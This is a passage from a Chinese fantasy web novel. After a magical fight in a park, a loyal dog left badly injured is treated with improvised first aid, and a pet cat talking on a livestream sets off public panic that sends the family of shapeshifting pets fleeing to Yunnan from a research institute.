当妖异的紫光骤然亮起,四面八方的流浪狗奔向同一目标时,就吸引了可乐的注意力。隔着不算远的距离,陈开心一行人的身影如同慢镜头般清晰地映入他眼帘。
趴在窗台上,原本还昏昏欲睡的可乐直直坐起身,全身的肌肉瞬间贲张到了极限。
待看清陈开心危险的处境时,他脖子上的青筋根根暴起,喉咙里不受控制地滚出一声低沉压抑的咆哮,颈间项圈内侧的梵文变得滚烫无比。
一股神秘的
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力量似烧红的烙铁,从他脖子狠狠镇压而下,试图将他体内沸腾的怒气强行按回。
可是似乎无济于事。
“主人!!!”可乐发出一声愤怒的咆哮,随即“咔嚓咔嚓”,细微的脆响从他脖颈处传来。
那看似坚韧无比,陈开心想尽办法都没有摘下来的项圈竟然如同碎裂的冰面般在一点点破裂,一道狰狞的裂纹从中炸开,迅速蔓延至整个项圈。
紧接着,密集的噼啪声一路作响,似乎是骨骼在极速重塑的声音,浓密厚实,闪烁着银灰色光泽的长毛以肉眼可见的速度从可乐的皮肤下狂野生长,没几秒就覆盖了全身。
“嗷呜!!!”可乐发出属于阿拉斯加的狂吠。
一头体型庞大,肩高接近一米,每一根毛发都像倒竖的银色针毡般的阿拉斯加雪橇犬,赫然傲立在原地。
它琥珀色的眼眸不再有丝毫属于人类的犹豫和温顺,只剩下足以焚尽眼前一切威胁的滔天怒火。
陈开心从小一把屎一把尿拉扯大,贪吃爱撒娇却又无比忠诚的陈可乐,竟然在陈开心最危急的生死关头,以最原始的犬身挣脱了所有枷锁,狂奔向他的主人。
“可乐!”陈开心眼角余光瞥见飞奔而来的大狗,心脏先是猛地一缩,随即被巨大的惊喜冲昏脑袋,忘记了此时恶犬在前的危险境地,条件发射地半蹲下.身,扎起马步,想雯雯接住他。
可他的狗没有像以往那样一头扑进他的怀抱,而是后腿积蓄力量,悍然撞向不远处的范司杞。
硕大的阿拉斯加犬就像失控的攻城重锤,用肩胛骨最坚硬的部分,裹挟着全身的重量和俯冲的恐怖动能,狠狠撞在了范司杞持着控制器的右臂肘关节外侧!
“啊!”范司杞发出一声凄厉无比的痛嚎,手臂传来依稀可闻的骨裂声,剧痛如高压电流顿时窜遍全身,他五指麻痹,失去了所有知觉,掌心的罗盘在空中翻滚出一道抛物线。
就在罗盘翻即将坠落在水泥地上时,电光火石间,可乐森白的犬牙死死地咬住了它,牙齿深深嵌入罗盘非金非石的坚硬外壳中。
“滋啦,噼啪……”
空气中慢慢弥漫开一股浓烈刺鼻的皮毛焦糊味,强大的电流让可乐的身躯无法抑制地痉挛起来,琥珀色的眼眸因为剧痛而布满血丝,但它眼中没有丝毫退缩,只有要将这罗盘毁灭的执拗。
罗盘在阿拉斯加犬极致的咬合力下,终于发出最后一声挣扎的呻吟,表面的紫色符文风中残烛地闪烁了几下,随即像烧尽的灰烬般彻底失色崩解,那颗黑晶石“啪嚓”一声,碎成一地黑色碎片。
笼罩公园的紫光力场仿佛被戳破的肥皂泡那样烟消云散,那些被控制的流浪狗猛地刹住扑击的脚步,眼中的赤红血光急速褪去,切换为茫然和恐惧,仿佛从身不由己的噩梦中被强行拽醒。
它们发出一连串惊恐万状,如同幼崽失去母亲后无助的呜咽,夹紧尾巴,慌不择路地四散奔逃,转眼间就消失在公园的灌木丛中,只留下空气中残留的淡淡腥臊。
好像陈开心刚刚遇险的画面都是他的错觉,难道……危机真的解除了吗?
40.可乐重伤
死一般的寂静降临,只有可乐粗重的喘息声,一下又一下,沉重地敲打在陈开心的心脏上。
”可乐!”陈开心撕心裂肺的尖叫打破了寂静。
他连滚带爬地扑向浑身是血的阿拉斯加犬,双手颤抖着,不敢触碰那些狰狞翻卷的伤口,伤口处的鲜血如同失控的泉眼,汩汩涌出,迅速将可乐身下的草地染成一片刺目的猩红。
陈开心脱下自己单薄的外套,小心翼翼地盖在可乐的身上,温热的血液瞬间浸透了布料。
”傻狗……傻狗你怎么这么傻?”陈开心哽咽着,眼泪无声滚落,滴在可乐沾满血污的毛发上,”谁让你变回来的?谁让你冲出来的?!项圈……项圈反噬了是不是?!”
可乐听到主人的声音,涣散的瞳孔努力聚焦,毛茸茸的头颅微微动了一下,艰难地蹭了蹭陈开心满是血污的手,喉咙里挤出几声微弱的”呜”声,像是在安抚,又像是在说”别怕”。
包子就站在陈开心身旁,一步未退,瞳孔缩成一条细线,死死盯着不远处捂着扭曲手臂,脸色苍白如鬼的范司杞。
全身的肌肉紧绷,伏低身体作出攻击状态,包子喉咙里持续滚动着低沉而充满威胁的哈气声,像护崽的猫咪,将陈开心和重伤的可乐牢牢护在身后。
范司杞靠在粗糙的树干上,右臂传来的剧痛让他额头布满冷汗,但他此刻似乎完全感觉不到了。
他目不转睛地看着倒在血泊中的阿拉斯加犬身上,看着泪流满面,守着它的陈开心。
可乐……那只狗……
刚才那震撼的一幕还在他眼前反复上演,可乐不顾一切撞开他,狠狠咬住了控制器,哪怕被强大电流击穿也绝不松口,最后摇摇欲坠,血淋淋地倒下。
一条狗为了主人,竟然可以做到这种地步?
这个认知一遍又一遍地在他混乱的脑海中炸响,与他先前所被告知的一切都背道而驰。
那个男人冰冷的话语再一次他耳边回响起来。
.
.
那天在毛山道观破败的山门外,寒风凛冽。
范司杞背着简单的行囊,形容狼狈,被几个手持警棍的景区保安粗暴地往外推搡。
他潜心修炼的道观,以非法占用景区土地的罪名被强行取缔,他所有的申辩都石沉大海。
就在那天,一辆黑色的轿车无声地滑到他面前停下。
车窗降下,露出一张戴着墨镜,表情冷漠的脸。
”范司杞?一个开了天眼的道士?”男人的声音毫无感情。
范司杞警惕地看着他:”你是谁?”
”我是谁不重要。”男人推了推墨镜,”重要的是,我知道你想回到毛山,甚至是想修炼成仙。”
范司杞的心脏猛地一跳。
男人继续道:”最近有一批‘东西’很不安分,它们披着人皮,混迹在人群里。外表无害,甚至惹人怜爱,但它们骨子里是兽!是妖!它们不懂人性,不知约束,随时可能失控,爆发出本能的兽性,危害无辜。它们的存在,就是对人类社会最大的威胁!”
男人语气斩钉截铁。
”你是说……那些能化形的……”范司杞瞳孔微缩。
”没错。”男人嘴角勾起一丝嘲讽的弧度,”它们现在还很弱小,还在学习如何伪装成正常的人类,但它们终究是异类,我们需要像你这样有真本事的人来劝它们从善。你的天眼,正是识破它们诡计的利器。”
他递出一张印着特殊徽记的名片。
”帮我们找到它们,收服它们。作为回报,我可以保证,毛山那片地会重新划归到你的名下。你不仅能回去,还能光明正大地重建你的道观,传承你的道统,如何?”
.
.
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”危害无辜……随时失控……对人类有威胁……”范司杞喃喃自语,目光空洞地看着血泊中的可乐,又看向悲痛欲绝的陈开心,再看向那个虽然摆出攻击姿态,但始终只是选择守护,未曾主动进攻一步的包子。
他遇到的这些”异类”,混在人群中,除了因为不习惯人类生活闹出些不合时宜的笑话,何曾真正主动伤害过人命?它们像一群笨拙地学习融入新世界的孩子,最大的恶行不过是偷吃、捣乱、让他们的主人社死……
而自己做了什么?他利用了它们对主人的依赖,追踪它们,设下陷阱,用邪恶的法器操控流浪狗去攻击一个普通人……
只因为那个陌生的男人告诉他,它们是人类的威胁。
”我……我到底在做什么?”范司杞看着自己施法的手,一股强烈的恶心涌上心头。
他引以为傲的道术,他重振师门的执念,他只想寻一地,安静修炼成仙的愿望,竟然被利用来对付这样的……这样单纯的动物?
他感觉自己像个被欲望驱使的刽子手。
”坏人,你打伤了可乐!”
”滚开!离我主人和可乐远点!”
愤怒的斥责声将范司杞从混乱的思绪中惊醒。
汉堡和雪碧终于气喘吁吁地
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赶到了现场,他们看到可乐冲出家门,急忙追上去,可人形纤弱的两条腿跑不过可乐粗壮的四只腿,这才好不容易赶到。
汉堡一眼就看到了血泊中的可乐,那张俊美的脸顿时因为暴怒而扭曲,他像一头发狂的小豹子,不管不顾地就朝范司杞冲了过去。
雪碧虽然吓得眼泪汪汪,但看到汉堡冲上去,也鼓起勇气,捡起地上的一块板砖,跟着冲了过去。
包子见状,立刻低喝:”汉堡!雪碧!回来!保护开心和可乐要紧!”
他虽然也恨不得撕碎范司杞,但更清楚此刻最重要的是守护好重伤的可乐和手无缚鸡之力的陈开心。
汉堡被包子一喝,脚步停了一下,但愤怒并未平息,他停在范司杞几步远的地方,漂亮的猫眼里燃烧着熊熊怒火,手指着范司杞,厉声骂道:”混蛋!可乐要是有什么事,我跟你没完!”
雪碧也听话地停下脚步,站在汉堡旁边,举着板砖,像个小卫士,虽然害怕得发抖,但还是努力瞪着范司杞。
陈开心抱着气息越来越微弱的可乐,抬起头,泪眼模糊地看向范司杞,眼神里充满了痛苦与悲愤:”为什么?你到底为什么非要对我们赶尽杀绝?我们做了什么伤天害理的事?!可乐它……它只是一只无辜的小狗!”
作为真正的普通人,陈开心哭泣的质问,劈头盖脸,狠狠砸向心神不安的范司杞。
他看着眼前这群”妖物”,他们背靠背,紧紧围在一起,将陈开心和可乐包围在其中,形成了一个小小的堡垒。
而他站在堡垒之外,像一个可悲又可恨的入侵者。
那个男人所说的”异类对人类有危险”,在眼前这真实而惨烈的守护面前,显得如此苍白可笑。
”我……”范司杞张了张嘴,想说什么,却发现自己一个字也说不出来。
信念崩塌导致的眩晕感和手臂的剧痛让他眼前发黑,他踉跄着后退,后背重重撞在树干上,眼神涣散,茫然且困惑。
他复杂地看了一眼血泊中的可乐,又扫过围在陈开心身边,忠心护主的各个”异类”,最终目光落在陈开心伤心愤恨的脸上。
范司杞摇摇头,什么也没说,用没受伤的左手捂住了脸,发出一声压抑的低吼,然后猛地转身,拖着那条受伤的手臂,跌跌撞撞,逃也似地冲进了公园深处的黑暗树影之中,很快便消失不见。
公园里,一时之间只剩下陈开心难掩悲伤的哭声。
夜风吹过,悄悄带走了浓重的血腥味和一丝劫后余生的悲凉。
41.警察又来了
范司杞的身影彻底消失在浓稠的树影里,像被黑暗吞噬。公园中心这片小小的空地,只剩下紧紧围拢在陈开心和可乐周围的几个人。
“可乐!可乐你撑住!别睡!”陈开心抱着可乐越来越沉重的头颅,嗓音嘶哑,眼泪混着血污流下。
他能感觉到可乐的体温在下降,那艰难的喘息声也越来越微弱,每一次吸气都仿佛用尽了全身的力气。那可怕的伤口,鲜血依旧在缓慢地渗出,浸透了他用来按压的外套,温热粘稠。
“药……有没有药?”陈开心猛地抬头,布满血丝的眼睛慌乱地扫过包子、汉堡和雪碧,声音带着绝望的哭腔,“医院!对,去医院!我们得去医院!”
包子蹲下身,猫瞳快速扫过可乐身上致命的伤口,眉头紧紧锁死。
他伸出手指,小心翼翼地探了探可乐颈侧,又俯身贴近它的口鼻感受那微弱的气息。他的动作专业而冷静,但眼神里是无法掩饰的凝重。
他摇了摇头,神情急促:“不行!开心,它伤得太重了,这样移动会立刻要了它的命,先止血!必须立刻止血!”
“止血……怎么止……”陈开心六神无主,失去可乐的恐惧几乎将他淹没。他看着自己染满鲜血,徒劳按压的手,完全不知道该怎么办。
“让开!”汉堡异常坚定的声音在背后响起。
他漂亮的脸蛋上泪痕交错,嘴唇因为害怕而轻颤,但那双猫一样的眼睛里却燃烧着一种破釜沉舟的决绝。
他跪到陈开心身边,毫不犹豫地一把扯下自己身上那件质地精良的真丝衬衫。
刺啦!布料撕裂声在寂静中格外刺耳。
“你……”陈开心愕然地看着他。
汉堡根本没理会,他跪在可乐身边,动作又快又稳,没有丝毫平时的娇气。他用牙齿配合着手,将那件柔软的真丝衬衫撕扯成宽窄合适的布条。
他拿起最长最宽的一条,对陈开心吩咐道:“按住,用力按住伤口别松手。”
陈开心下意识地听从,用尽全身力气按住可乐侧腹处的伤口。
汉堡深吸一口气,眼神专注得可怕。他小心翼翼地将布条绕过可乐庞大的腹部,避开其他还在渗血的撕裂伤,然后在可乐的腰背处一圈又一圈地缠绕勒紧。
他的操作快准狠,似乎有一种与死神赛跑的急切,白皙的手指止不住地哆嗦。
可乐在剧痛中发出一声微弱的呜咽,身体本能地抽搐了一下。
“可乐,忍着点!忍着点!”汉堡嘴里低喃,手上的动作却丝毫不停,甚至更用力地勒紧,仿佛要将那汹涌而出的血液强行锁住。
“我……我有这个!”雪碧手忙脚乱地在自己的裤兜里,衣服里翻找着,最终从那个被他紧紧抱在怀里的零食袋最底层,掏出了一个皱巴巴,沾着薯片碎屑的白色小纸包,上面印着红色的十字和“云南白药”几个字。
“以前……以前在菜市场被别的猪拱伤了,主人会偷偷给我涂这个……”雪碧颤抖着手,将那包小小的药粉递给包子,“粉……粉撒在伤口上……应该能止血……”
包子立刻接过,没有丝毫犹豫。他迅速撕开纸包,小心地将里面浅褐色的药粉,均匀地洒在汉堡用布条死死勒住的伤口周围,尤其是那些还在缓慢渗血的边缘。
药粉很快被涌出的血液浸湿凝结,形成一层暗红色的糊状物。
“不够!再来!”包子冷冽的目光扫向雪碧的零食袋。
雪碧立刻会意,像疯了一样把袋子里的薯片、饼干、肉干全部倒在地上,双手在里面疯狂翻找。
终于,他又从角落的缝隙里抠出了两包同样皱巴巴的云南白药。
包子迅速接过,如法炮制。三包药粉混合着鲜血,在可乐的侧腹堆起厚厚一层,血涌的速度似乎真的减缓了一丝丝。
“按住!继续按住!”包子低吼,自己也跪了下来,用双手压住汉堡缠绕的布条上方,用自身的重量加压。
汉堡已经累得脸色发白,额头上全是冷汗,但他咬着牙,双手用力抓着布条的两端,不敢有丝毫松懈。
雪碧则在一旁,用自己胖乎乎的手,颤抖着去按压可乐身上其他几处稍小的撕裂伤,试图减少失血。
陈开心紧紧抱着可乐的头,脸贴着它沾满血污的毛发,感受着它微弱的心跳和呼吸,不断地呼唤着它的名字,小声啜泣:“可乐……坚持住……别睡……我们都在……汉堡在救你……包子在救你……雪碧也在……坚持住傻狗……”
时间一分一秒地流逝,每一秒都像一个世纪般漫长。
夜风带着凉意,吹拂着众人汗湿的额发和紧绷的身体。公园远处似乎传来了隐约的警笛声和人声,可能是被之前的混乱惊动了。
但此刻谁也无暇他顾,所有人的心神都系在血泊中那个脆弱的小狗身上。
可乐的呼吸越来越弱,体温也越来越低。可它琥珀色的眼睛,却始终努力地睁开一条缝,执着地望着陈开心流泪的脸,偶尔喉咙里会发出一丝依赖的“呜”声,像是在回应。
不知过了多久,也许是几分钟,也许是几十分钟。
包子一直紧贴着可乐的身体,感受着它的心跳和呼吸。突然,他紧绷的身体微微放松了一些,虽然脸色依旧凝重,但眼中却透出一抹劫后余生的光。
“血好像……止住了……”包子小心翼翼地松开了些许按压布条的手。
那厚厚一层被血凝结的药粉混合物下,致命的伤口处,虽然看上去仍触目惊心,但那股涌出的血流,似乎真的被那粗糙的包扎和及时的药粉强行控制住了,只有几处小裂口还在极其缓慢地渗血。
汉堡闻言,心弦猛地一松,脱力感瞬间席卷而来。他眼前一黑,双手一软,差点瘫倒在地,但手还在死死抓着布条的两端,只是力道稍稍卸去了一些。
“止……止住了?”陈开心抬起头,猩红的眼睛盯着可乐的伤口,又看向包子,声音带着不敢置信的狂喜。
包子用力点了点头,再次俯身,仔细确认。:“心跳,呼吸都还在,虽然很弱,但确实都还在。”
“汪……”可乐仿佛也感受到了
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气氛的变化,低声呜咽了一声,眼皮沉重地耷拉了一下。
“别睡,可乐,别睡。”陈开心立刻紧张地呼唤,轻轻拍着它的脸颊,“看着我,看着我傻狗!我们马上回家!马上给你治伤!”
“不能动!”包子和汉堡同时出声阻止。
两人对视一眼,包子快速说道:“伤口只是暂时压住,一动很可能崩开,必须等……等它稳定一点,或者有专业的人来。”
陈开心看着可乐虚弱至极的样子,再也不敢冒险,他只能紧紧抱着它,用体温试图温暖它冰凉的身体。
就在这时,几道手电筒的光柱刺破了公园的黑暗,伴随着杂乱的脚步声和严厉的呼喝。
“那边什么人?!”
“地上好多血!发生什么事了?”
“警察!都不许动!”
几个穿着制服的警察和公园保安,一脸紧张地冲了过来,手电光在血泊中的阿拉斯加犬以及围在旁边的几个年轻人身上晃过。
陈开心心中一紧,刚想开口解释,包子却不动声色地按住了他的手。
他站起身,脸上装出恰到好处的惊恐和后怕,对着警察不住哀求:“警察同志,快救救它!救救我们的狗!刚才……刚才有坏人放狗咬人!我们的狗为了保护主人……被咬成了这样,那个坏人见伤了人,就往那边跑了!”
他伸手指向范司杞消失的黑暗方向。
警察审视的目光一一扫过现场,这一切都无比真实地印证着“见义勇为的狗被恶犬重伤”的说法。
至于那个“坏人”,已经跑了,暂时不是重点。
为首的警察脸色凝重,立刻对着对讲机呼叫:“呼叫指挥中心!这里是城西公园!发生恶性事件,有大型犬被严重咬伤,需要紧急兽医支援!重复,需要兽医紧急支援!地点在中心广场喷泉附近!”
放下对讲机,他看向陈开心和包子:“别怕,支援马上到!你们先别动它,保持现状!其他人,跟我来,封锁现场,搜索嫌疑人!”
他有条不紊地指挥着其他人散开。
陈开心抱着可乐,听着警察的呼叫和对讲机里传来的回应,一直悬在嗓子眼的心,终于稍稍落回了一点。
他低头看着可乐紧闭的眼睛,眼泪再次汹涌而出,但这一次是希望的泪水。
“坚持住,可乐……兽医马上就到了……坚持住……”他一遍遍地低语,仿佛这样就能将自己的生命渡给怀中垂死的小狗。
汉堡瘫坐在一旁,靠着雪碧,疲惫地闭上眼睛,真丝衬衫的碎片还缠在他手上。
雪碧紧紧挨着汉堡,右手还在无意识地按压着可乐腿上一个小伤口,眼泪吧嗒吧嗒地掉。
包子站在可乐身侧,一只手轻轻搭在陈开心颤抖的肩膀上,给予无声的支撑,碧绿的眼眸警惕地扫视着周围,宛如最忠诚的哨兵。
他视线不经意地掠过远处那片范司杞消失的黑影,眼底深处闪过一丝冰冷的寒芒。
夜风呜咽,警灯闪烁的红蓝光芒由远及近,撕碎了公园的沉寂。
42.网红猫说话了
可乐的治疗之路漫长而昂贵,但幸运女神似乎终于眷顾了他们一次,它顽强地挺过了最危险的感染期,性命终究是无忧了。
陈开心看着兽医递过来的最终账单,那串数字让他眼前发黑,几乎要晕厥过去。他颤抖着拿出手机,翻出那份被遗忘在手机角落里的宠物保险单,抱着最后一丝希望,仔细研读了保险条例。
在发现可乐的情况符合最高级别意外伤害及重症手术的理赔条款时,陈开心险些要跪下感谢当初那个忽悠他买保险的业务员。
虽然自费部分依旧掏空了他仅剩的积蓄,但至少没有倾家荡产。
半个月后,在医生确认可乐的伤口愈合良好,只需回家静养并定期复查后,陈开心终于把瘦了一大圈的可乐接回他们小窝。
可乐彻底过上了太上皇的日子,项圈的束缚好像随着它变回狗身而彻底消失,它现在纯粹就是一只受过重伤需要精心伺候的大狗。
“可乐大爷,喝水。”雪碧小心翼翼地捧着一个大碗,里面是温度刚刚好的温水,放到趴在地毯上的可乐面前。
可乐懒洋洋地抬了抬眼皮,伸出舌头吧嗒吧嗒喝了几口,然后嫌弃地用鼻子把碗推开。
不喝死水,它要喝流动的!
陈开心立刻屁颠屁颠跑去厨房,打开净水器,用杯子接了新鲜的水端过来。
可乐用爪子扒拉了一下脖子后面,那里的缝合线附近刚长出了新毛,还有点痒。
它开始狗叫:“汪汪汪”=“汉堡,过来给我挠挠脖子后面,痒!”
汉堡翻了个白眼,嘴里嘟囔着“惯得你”,但还是认命地走过来,修长的手指力道适中地给它挠痒痒。
可乐舒服得喉咙里发出呼噜噜的声音,眯起了眼睛。
包子则负责它的娱乐活动,可乐现在不能剧烈运动,大部分时间都趴着,无聊得很。
包子就坐在它旁边,拿着平板电脑划拉着,给它看各种风景纪录片或者……宠物直播,这是可乐最近迷上的新玩意儿。
“汪汪汪汪。”=“看这个,这只英短,傻乎乎的,连个逗猫棒都玩不明白。”
可乐用爪子扒拉了一下屏幕,示意包子点进去看,包子依言点开一个热度很高的直播间。
屏幕上,一只圆滚滚的蓝猫正被主人用各种玩具逗弄,笨拙地扑腾着,引来弹幕一片“哈哈哈”和“好可爱”、“妈妈亲亲”。
可乐看得直撇嘴:“哼,蠢猫,还没我当年一半灵活。”
陈开心看着这一幕,心里五味杂陈。
可乐的命是保住了,但它一直保持着狗的身体,好像再也无法变回人形。他不知道这是项圈反噬的永久性后果,还是重伤后的某种自我保护。
问包子,包子也只是摇头,绿眸里带着同样的困惑,而那个神秘的项圈,在可乐变回狗身那天,就无声无息地从它脖子上碎裂,化为了齑粉。
日子就在这种小心翼翼的伺候和可乐大爷的养尊处优中一天天过去,陈开心一开始出门的时候还紧张地四处张望,生怕再遇见不对劲的东西,可范司杞自公园一战后,竟再也没出现过。
可乐身上的绷带拆掉了,伤口长出了粉嫩的新肉和短短的绒毛,虽然仍然不能跑跳,但精神越来越好,胃口也恢复了,甚至比受伤前更能吃,颇有要把之前瘦掉的肉都补回来的架势。
陈开心看着它日渐圆润的脸盘子,又是欣慰又是头疼,这个月的伙食费又要超标了。
这天下午,阳光正好,可乐大爷吃饱喝足,懒洋洋地趴在它的专属地毯上晒太阳。
包子照例坐在旁边,拿着平板,划拉着宠物直播区,给可乐找乐子。
“看这个。”可乐点开一个标题很吸引眼球的直播间:进来看我教猫咪说话。
画面里,一只毛发蓬松、长相极其甜美的布偶猫正蹲坐在一个布置得温馨可爱的猫爬架上。
它的主人,一个打扮精致的年轻女孩,正拿着一块小鱼干,对着镜头兴奋地说:“宝宝们看好了解,喵喵今天要展示最新成果哦!来,喵喵,跟姐姐说鱼干……”
女孩把小鱼干凑到布偶猫嘴边晃了晃。
布偶猫湛蓝的大眼睛盯着小鱼干,粉嫩的鼻子嗅了嗅,然后出乎所有人意料地,它没有像普通猫咪那样发出“喵喵”的叫声,而是张开嘴,用一种不耐烦的,介于小女孩和电子合成音之间的声音说道:“饿!要吃!快给我!”
字正腔圆,清晰无比,绝对不是模仿出来的“喵呜”声调。
直播间立马炸了!
弹幕:
【卧槽??】
【我听到了什么?】
【它说话了???真的说话了???】
【不是剪辑吧,主播你搞什么特效?!】
【天哪!宠物成精了?!】
【好可爱啊啊啊啊啊!再叫一声!】
【前面的别天真了!这不对劲!很不对劲!】
【鸡皮疙瘩起来了!它说什么?快给我?这语气……】
主播女孩也惊呆了,手里的小鱼干都忘了给,脸上完美的笑容僵住了,眼神里充满了惊愕和慌乱。
她显然也没料到喵喵会突然说出这么清晰连贯的人话,这完全超出了她平时训练的效果。
不,这根本不是训练能达到的!
喵喵见小鱼干没到嘴,似乎更不耐烦了,盯着主人,又清晰地说了一句,语气明显的抱怨:
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“笨蛋!鱼干给我!”
这一句,宛如在滚烫的油锅里泼进了一瓢冷水。
弹幕的风向瞬间一百八十度大逆转:
【!!!它骂人?!它说主人笨蛋?!】
【这绝对不是巧合!这猫有问题!】
【妖怪!绝对是妖怪!】
【太可怕了!它会说话!还会骂人!】
【举报!快举报这个直播间!】
【这种异常生物必须处理掉!】
【@网警 @动物保护协会 @特殊部门快来人啊!这里有猫成精了!】
【细思极恐!它是不是一直会说话?只是现在暴露了?】
【我们身边到底有多少这样的东西?!】
【捕杀!必须捕杀!为了人类的安全!】
满屏的“举报”、“可怕”、“妖怪”、“捕杀”慢慢淹没了之前那些“可爱”、“亲亲”的弹幕,直播间的热度因为这场意外而飙升,但气氛却降到了冰点。
主播女孩彻底慌了神,脸色煞白,手忙脚乱地想关掉直播,嘴里语无伦次地解释:“不……不是的……大家误会了……这是……这是……喵喵它……”
她的话被淹没在汹涌的弹幕讨伐声中,最终,直播间画面猛地一黑,显示“主播已下播”。
可已经晚了,录屏、截图、动图,以病毒般的速度在各大社交平台疯狂传播。
“天才猫咪喵喵直播开口说话,清晰索要食物并辱骂主人!”的标题冲上热搜榜首,恐慌如同瘟疫般蔓延开来。
刚刚还因为喵喵的可爱听话而心花怒放,嚷嚷着要送自家猫去上学的网友们,现在像被踩了尾巴的猫,纷纷炸毛,陷入了巨大的恐惧和排异情绪中。
他们一一在相关话题下留言,要求彻查、举报、甚至要求处理掉所有表现出异常行为的宠物。
“我的天……”陈开心正好走过来,看到了直播结束前那混乱的一幕和铺天盖地的捕杀言论,脸色顿时变得惨白如纸,一股寒意从脚底板直冲天灵盖。
他下意识地看向趴在地上的可乐,又看向旁边同样震惊的汉堡、雪碧和包子。
可乐也看到了直播,它琥珀色的眼睛瞪得溜圆,狗脸上充满了人性化的震惊和后怕。
“完了……”汉堡喃喃自语,漂亮的脸蛋上血色尽褪,“这下……捅破天了……”
包子没有说话,但他的脸色是前所未有的凝重。他眼眸扫过窗外,仿佛能穿透墙壁,看到外面那个因为一只猫的说话而变得风声鹤唳的世界。
他默默地起身,走到窗边,仔细检查了一下门锁,又拉上了一半窗帘,将屋内的一切与外面那个充满未知危险的世界,稍稍隔绝开来。
43.动研所和动保局
“猫咪直播开口说话,索要食物并辱骂主人”的标题像个病毒炸弹,在互联网上引爆的不仅是流量,更是人类心底对异类的恐惧。
恐慌如瘟疫般蔓延,曾经可爱的毛孩子们在许多人眼中,顿时变成了披着可爱外皮的怪物。
“必须抓捕!必须研究!为了人类安全!”动物研究实验所(简称动研所)的负责人卫平亮,在内部紧急会议上用力敲着桌子,他鼻梁上那副墨镜掩盖不住眼中的狂热和兴奋。
那只网红猫的暴露给了他光明正大的行动理由,这个逮捕行动他期待已久,于是迅速签发了针对“具有高度拟人化行为或疑似异常智能宠物”的紧急收容令。
“陈开心以及他名下的所有宠物,列为最高优先级目标!”卫平亮指着屏幕上偷拍的陈开心一家的照片,“范司杞的情报非常准确,他们是最典型的案例,也是解开动物拟人化秘密的关键钥匙!行动组立刻出发!”
同一时间,动物保护局(动保局)内气氛凝重。
孙栋警官看着网上汹涌的捕杀言论和动研所那份措辞强硬的收容令,眉头拧成了疙瘩。
他太清楚动研所那些所谓的“研究”意味着什么,冰冷的解剖台、无尽的电击实验、活体样本……那绝不是保护,而是另一种形式的毁灭。
“小分队集合!”孙栋猛地站起来,声音沉稳有力,“我们的职责是保护生命,无论它们以何种形态存在!动研所的手伸得太长了,阻止他们,保护那些被波及的无辜动物,它们现在处境极度危险!”
夜色深沉,城市仿佛被无形的紧张感笼罩。几辆印着动研所标志的黑色厢式车,仿佛嗅到血腥味的鲨鱼,悄无声息地驶向陈开心租住的偏僻小区。
卫平亮亲自带队坐在头车里,嘴角挂着志在必得的冷笑,他身边坐着的正是脸色苍白,手臂打着夹板的范司杞。
范司杞眼神空洞,卫平亮许诺的“毛山重建”像沉重的枷锁套在他脖子上,但他脑海中不断闪现的,却是可乐奋不顾身挡在陈开心身前的画面。
这些“异类”展现的,远比卫平亮描述的善良得多。
“到了,就是这里。”行动队员低声道。
车辆迅速包围了陈开心租住的小区。
到了陈开心家门口,卫平亮一声令下:“破门!”
“砰!”一声闷响,特制的破门锤轻易撞开了并不坚固的房门,强光手电将昏暗的屋内照得亮如白昼,训练有素的队员鱼贯而入。
可是屋内空空如也。
客厅中央的茶几上,一个打开的药箱放在旁边,里面凌乱地放着纱布、碘伏和几包云南白药的空袋子,地上散落着几根狗毛。
电视甚至没关,停留在某个旅游频道,播放着云南丽江古城的画面,显然人去楼空。
“搜!仔细搜!他们带着一条重伤的狗,走不远!”卫平亮脸色铁青,一脚踢翻了一张椅子。
就在这时,范司杞的目光落在沙发角落,那里扔着一个已经碎裂成几块的皮质项圈。
他的眼皮突突直跳,慧明大师、神秘的项圈……种种线索在他混乱的脑海中碰撞。
当他听到旁边队员低声汇报在电脑搜索记录里查到大量云南檀木的信息时,他的拳头不自觉地握紧了。
“报告!没有发现目标!后门虚掩,有新鲜的车轮印通向小区后巷!他们应该是刚走不久!”队员的汇报打断了范司杞的沉思。
“追!”卫平亮咬牙切齿,“通知各地分所,严查带着受伤大型犬和行为异常同伴的组合!重点方向云南!”
他推了推鼻梁上的墨镜,冷哼一声:“他们跑不了。”
与此同时,在通往城郊高速的昏暗小路上,一辆汽车正在夜色中疾驰。
陈开心紧握方向盘,手心全是汗。副驾驶位,包子如同最警觉的指路员,碧绿的猫瞳不断扫视着后视镜和前方的黑暗。
后座上,汉堡小心翼翼地抱着因为颠簸而有些不适,发出微弱呻吟的可乐,雪碧则紧紧抱着一个大背包,里面塞满了路上买的食物和水,以及几包崭新的云南白药。
车厢内弥漫着紧张的气氛,只有引擎的轰鸣和可乐粗重的呼吸声。
“开心,你确定……去云南是对的?就凭老和尚那句话?”汉堡忍不住开口,可乐的伤虽然稳定了,但长途奔波对它仍是巨大的负担。
陈开心深吸一口气,眼神异常坚定,他脑海中反复回放着慧明大师圆寂前留下的那张纸条。
檀木竭时劫方至。
还有项圈内刻着的“唵嘛呢叭咪吽”六字。
陈开心紧盯前方路况的眼里有一种破釜沉舟的决绝:“项圈是檀香皮做的,可乐的项圈碎了,也就是承载法力的檀木碎了,所以劫立刻就来了!范司杞、动研所,这不就是劫吗?”
他顿了顿,目光扫过后视镜里一张张紧张的脸,心头不免酸涩:“大师留下这句话,也许不只是警告,更可能……是指引。檀木竭了,劫就来了。那反过来说,如果找到新的、更强的檀木,是不是就能重新获得力量?至少能保住你们的性命。慧明大师来自云南的寺庙,他用的檀木,很可能源头就在云南,这是我唯一能想到的办法了”
包子沉默片刻,缓缓点头:“逻辑上……可行,云南多深山古刹,古树名木众多,或许真能找到与那项圈同源的灵性之物。呆在城市,我们就是瓮中之鳖。”
他看了一眼窗外飞速倒退的黑暗,“而且我有种感觉,追兵已经不远了。”
仿佛印证包子的话,后方遥远的城市方向隐约传来了警笛声,虽然方向不明,却足以让车内所有人的心都提到了嗓子眼。
“坐稳了!”陈开心猛地一踩油门,汽车发出一声低吼,加速冲上了通往南疆的高速公路,一头扎进更深沉的夜色之中。
他们的目的地,是西南边陲那片充满未知的绿色之地,云南。
车厢内弥漫着压抑的沉默,可乐不时发出低低的呻吟,每一次都像针一样扎在陈开心心上。
寂静中,陈开心的耳朵变得异常敏感。
风声?不,那尖锐的、忽远忽近的呜咽……是警笛!他心脏猛地一凛,握着方向盘的手指关节捏得发白。
“包子!后面是不是有警笛?”陈开心眼睛死死盯着后视镜。
包子的猫耳几不可察地动了动,凝神倾听了几秒,眉头微蹙,摇了摇头:“没有警笛声,开心。是风,还有……轮胎高速摩擦空气的声音。”
